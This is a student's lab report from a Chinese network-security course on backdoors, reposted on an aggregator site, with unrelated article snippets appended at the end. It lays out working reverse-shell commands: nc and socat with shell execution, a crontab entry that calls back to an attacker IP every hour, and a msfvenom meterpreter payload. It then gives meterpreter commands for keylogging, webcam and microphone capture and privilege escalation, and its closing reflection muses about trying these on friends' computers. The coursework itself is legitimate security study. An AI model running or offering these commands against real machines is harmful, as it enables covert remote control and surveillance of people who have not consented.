20154319 《网络对抗技术》后门原理与实践

一、实验说明

  1. 任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)

  2. 任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  3. 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  4. 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

二、基础问题回答

1.问:例举你能想到的一个后门进入到你系统中的可能方式?

下载一些破解版的软件时,软件内部可能会有附带程序含有恶意代码;电子邮件内的链接藏有木马程序;链接公共WiFi是注入木马程序;u盘拷贝进电脑

2.问:例举你知道的后门如何启动起来(win及linux)的方式?

 win:通过“Windows->控制面板->管理工具->任务计划程序”,创建任务。

Linux:可以通过cron来启动;通过对正常软件的绑定注入shellcode。

3.问:Meterpreter有哪些给你映像深刻的功能?

截取击键记录和截图屏幕,感觉用电脑一直被监视。

4.问:如何发现自己有系统有没有被安装后门?

 

使用杀毒软件查看;定期检查进程管理器。

三、实验过程

任务一  使用netcat获取主机操作Shell,cron启动

一、Win获得Linux Shell

1.在Windows下使用指令,查看win主机IP为:192.168.199.187

ipconfig

 

 

 

 

2.windows调用ncat.exe程序打开监听,监听端口为4319

3.在Linux中使用nc指令的-e参数反弹连接win

nc #win主机ip# #端口# -e /bin/sh

4. windows下获得一个linux shell,可运行任何linux指令,如输入ls

二、 Linux获得Win Shell

1. 在Linux下使用指令查看linux主机IP为:192.168.199.132

ifconfig

2.Linux下使用nc指令运行监听

nc -l -p 端口号

3. 在windows中使用ncat.exe指令以及-e参数反弹连接Linux:

 

4. Linux下可看到Windows的命令提示,输入windows的 ipconfig命令成功查看到windows主机的IP:

##nc传输数据(以后可以用来聊天~我在8888端口等你(?_?))

1. windows打开端口4319

2.让Linux连接到4319端口

3.建立连接后传输数据,可实现互传

三、cron启动

1.Windows->控制面板->管理工具->任务计划程序,创建任务:

2.Linux上cron启动,在windows系统下监听4319端口:

键入指令

crotab –e  //-e 表示编辑,按a进入编辑界面

在最后一行添加

51 * * * * /bin/netcat 192.168.199.187 4319 –e /bin/sh  //表示每小时的第21分钟反弹连接win

第51分钟后可以输入指令,例如ls

 

任务二  使用socat获取主机操作Shell, 任务计划启动

socat下载地址[https://gitee.com/wildlinux/NetSec/attach_files]

因为之前没有下载,这部分是分开做的。

1.win主机ip:172.30.3.26

2.Linux主机ip:172.30.4.219

3. 在windows系统下,输入命令:

socat.exe tcp-listen:4319 exec:cmd,pty,stderr

这里要注意路径(可以直接将socat.exe拖到小黑框中)。

4.在Linux系统下,输入命令:

socat - tcp:  win主机ip

可以成功获得一个cmd shell,可以输入指令,例如ipconfig

任务三  使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

1.在Linux上输入指令,生成一个名称为4319.exe 后门可执行文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.132 LPORT=4319 -f exe >4319.exe

 

2.利用ncat传送文件到windows上,设置windows接收端口为4319,通过以下指令实现文件传输

nc -l 1234 > filename.out
nc host.example.com 1234 < filename.in

没有截图,没有截图,忘记了

3.在Linux下,MSF打开监听进程:(可爱的羊??)

msfconsole

4.查看并设置payload,LHOST和LPORT

第一行:进入handle模式;

第二行:设置payload;

第三行:查看当前信息状态。

第一行:设置LHOST为192.168.199.132

第二行:设置LPORT为4319

4.输入exploit命令,开始监听:

exploit

5.windows运行该后门文件

6.成功获取shell权限

任务四  使用MSF meterpreter获取截图、击键记录、获取管理员权限偷看登录密码

1.获取截图

使用screenshot命令抓图

 

2.获取击键记录

keyscan_start    //开始获取
keyscan_dump   //查看

3.使用摄像头进行拍照:

webcam_snap

 

4.截获一段音频

record_mic

5.获得管理员权限,使用ps命令获取登录密码

meterpreter > getsystem    //获得管理员权限
meterpreter > ps               //获取登录密码

 

四、实验中遇到的问题

1.已经解决的问题:第一次使用摄像头拍照的时候拍不了,原因是超时了,重新在win系统运行一下就行

2.还在纠结的问题:不知什么叫积极拒绝???

五、实验体会

这次实验感触很深,让我以后用电脑都有一种被监视的感觉。这次使用Meterpreter还是很有趣的,功能很多,其中击键记录、偷窥登录密码、控制摄像头等功能,觉得以后可以在朋友的电脑上试试,看起来很高级的样子,不过实际操作做起来还算是比较简单的。由于我的电脑本身就是Windows系统,就没有装Windows的虚拟机,直接在自己的电脑上做的时候,从Linux传4319.exe后门程序到电脑上好几次都直接消失了,被腾讯的电脑管家直接清理掉了,其实可以把后门程序设置在白名单里面就不用关闭杀毒软件了,说明这个后门软件还是很容易被杀毒软件发现并直接清理掉的,用在实验上还行,实际上可以成功的几率还是很低吧。

 

转载于:https://www.cnblogs.com/zwl154319/p/8667155.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/427904.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

强制类型转换的取整及四舍五入取整

强制类型转换取整相关前言取整方法例&#xff1a;(signed int)double四舍五入取整前言 开发中一般运算过程都采用浮点类型数据以免出现运算不精确的错误&#xff0c;而当运算结果需要时整型的时候就需要对浮点类型的结果进行取整处理&#xff0c;而取整的方法有向上取整&#…

github电脑壁纸_GitHub - githubtaotao/bing-wallpaper: Bing每日壁纸,自动获取Bing的精美图片设置为壁纸,并且支持随机切换历史壁纸,查看壁纸故事...

Bing每日壁纸发布一个开源小软件&#xff0c;Bing每日壁纸。该小软件可以自动获取Bing的精美图片设置为壁纸&#xff0c;并且支持随机切换历史壁纸&#xff0c;查看壁纸故事。欢迎大家下载使用&#xff0c;点star&#xff01;有问题请留言或者提issue。想了解技术原理的请看 技…

关于字节对齐

关于字节对齐前言意义自定义字节对齐存储空间内存读取效率平台适应性结论前言 计算机中的内存空间大小是以字节&#xff08;byte&#xff09;为基本单位划分的&#xff0c;从理论上讲似乎对任何类型的变量的访问可以从任何地址开始&#xff0c;而计算机并非逐字节大小读写内存…

c++中的多线程

使用 std::thread 时需要包含 #include<thread> 头文件&#xff0c;定义了表示线程的类、用于互斥访问的类与方法等。 参考网址&#xff1a; https://blog.csdn.net/liuker888/article/details/46848905https://blog.csdn.net/fengbingchun/article/details/73393229成员…

C++ reverse memcpy

C reverse memcpy前言基于QT的测试样例结果前言 C 实现翻转memcpy 基于QT的测试样例 代码如下&#xff1a; #include <iostream> #include <QtCore/QCoreApplication> #include <QDebug>using namespace std;void *reversememcpy(void *out, const void *…

打架程序_学生打架不知道怎么处理?一般程序了解下,对你或许有帮助

很多新老师&#xff0c;对处理学生问题的步骤其实还不是很了解&#xff0c;一遇到学生问题就很苦恼&#xff0c;用的方法很多&#xff1a;或劝、或骂、或赏、或罚&#xff0c;但总是觉得不得要领。今天我想通过昨天我处理的一个实例&#xff0c;针对性的聊一聊这个问题。希望对…

提高应用程序稳定的小内容

用于提高应用程序稳定的小小要点要点内容&#xff1a;要点内容&#xff1a; 动态内存分配完后&#xff08;new&#xff09;&#xff0c;注意一个使用完的内存要对应一个delete&#xff0c;防止内存泄漏。当用QByteArray等数组结构来存储缓存时&#xff0c;缓存被读取后注意要清…

android旋转动画的两种实现方式

在android开发&#xff0c;我们会常常使用到旋转动画&#xff0c;普通情况下旋转动画有两种实现方式&#xff0c;一种是直接通过java代码去实现&#xff0c;第二种是通过配置文件实现动画。以下是两种动画的基本是用法&#xff1a; 纯Java代码实现&#xff1a; //创建旋转动画 …

jsp中设置自动换行_办公技巧—Word中如何设置自动生成序号

我们经常会用到Word来编辑文档&#xff0c;经常需要在文档中插入各种序号。如果一个个手动输入这些序列号&#xff0c;会降低我们的工作效率。那么&#xff0c;这种情况下&#xff0c;我们该怎么办呢&#xff1f;今天&#xff0c;小编就教各位Word中设置自动生成序号的小技巧&a…

js实现table合并相同列单元格

/** * Created with JetBrains WebStorm. * User: Johnny * Date: 18-3-26 * Time: 下午4:48 * Table td 相同值合并行 要求&#xff1a; * 1.table 必须包含tbody&#xff0c;tbody为数据主休 * 2.table 添加 id"kbdatas" * 调用说明: * $(function(){ * mergeRowSp…

mongodb如何根据字段(数组类型)的长度排序_大数据存储技术选型(七)——MongoDB设计模式及索引优化...

关系数据库的时代关系数据库的设计理念假设你有一台车&#xff0c;你需要给它存起来&#xff0c;给它找个停车位。传统数据库的存储方式就相当于&#xff0c;把这个车的所有零件拆下来&#xff0c;放在存放对应零件的盒子里&#xff0c;需要用的时候&#xff0c;再把他们取出来…

boot返回码规范 spring_sprigboot-new-coding-standards

sprigboot-new-coding-standards介绍SpringBoot脚手架&#xff0c;遵守严格的代码规范。规范详细说明1.遵循标准RESTful API2.异常采用枚举进行封装(业务内部异常往上抛&#xff0c;返回客户端需要将对应的异常转换为具体的状态的&#xff0c;这里介绍Spring提供的全局异常处理…

第四周读书笔记《构建之法》

第四周读书笔记《构建之法》 第四周读书笔记《构建之法》 沈三景 PB15061249 软件工程 读书笔记 前言 本周接着读了构建之法&#xff08;上周读了《程序员的修炼之道》&#xff09;的第六、七两个章节。 第六章 敏捷流程 敏捷流程是一系列价值观方法论的集合&#xff0c;它要求…

幼小衔接语言教案上c册_关于幼小衔接,这里有你最想要的解答

相信很多家长都会发现&#xff0c;在孩子即将步入小学的前一年或者半年左右&#xff0c;身边同龄的孩子有一部分会放弃大班的学习&#xff0c;转而去幼小衔接班了。就算平时再佛系的妈妈&#xff0c;内心也会焦虑&#xff0c;产生疑问&#xff1a;到底要不要上幼小衔接班&#…

每日一题20180330-Linux

一、问题 1.1 统计/var/log/下所有文件个数 1.2 查找出/var/log目录下面修改时间是7天以前&#xff0c;大小在50k到2M之间&#xff0c;并以.log结尾的文件把这些文件复制到/data目录中 1.3 设置一条Iptables规则&#xff0c;允许192.168.10.0段访问873端口&#xff1f; 二、答案…

前台文件_欧木瑾怎么定制办公前台?

前台是一个反映公司整体形象的地方。这是给客户和商业伙伴留下印象的第一个地方。因此&#xff0c;芜湖绿木家具有限公司欧木瑾小编说公司的前台装修不能马虎。前台的设计风格与材料的使用有很大关系。从细节上看&#xff0c;这是材料的精美运用。这里是如何设计一个好的前台。…

常用的魔术方法

__construct() 实例化类时自动调用。__destruct() 类对象使用结束时自动调用。__set() 在给未定义的属性赋值的时候调用。__get() 调用未定义的属性时候调用。__isset() 使用isset()或empty()函数时候会调用。__unset() 使用unset()时候会调用。__sleep() 使用serialize序列化时…

单纯形法只有两个约束条件_10分钟掌握对偶单纯形法

只听名字的话会感觉对偶单纯形法和对偶问题关系很大&#xff0c;其实不然(想要了解对偶问题的话可以看我之前的文章)。对偶单纯形法在我看来和大M法以及两阶段法很像&#xff0c;都是用来补充纯粹的单纯形法无法解决特殊问题的缺陷。而且对偶单纯形法更加“强大”&#xff0c;因…

linix防火墙设置之顺序设置问题 -- 解决防火墙规则顺序和插入规则到指定序号的问题...

转载于百度经验&#xff1a;https://jingyan.baidu.com/article/ae97a646ce58c2bbfd461d90.html 无论是硬件防火墙还是软件防火墙都会有一个规则序列的问题&#xff0c;规则顺序会影响到规则的生效情况&#xff0c;所以这个必须得注意&#xff0c;下面小编与大家分享一下如何注…

fir fpga 不同截止频率_学习FPGA将来的出路在哪里?

1. 在国内 FPGA 最大的应用市场还是通信类&#xff0c;几大厂商的重要收入来源还是华为、中兴、阿朗等&#xff0c;基本上可以直接呼叫原厂 AE 上门支持那种。算法类&#xff08;如各种 FIR&#xff09;、接口类&#xff08;如 CPRI、Interlaken、XAUI、PCIE、GE、SRIO 等&…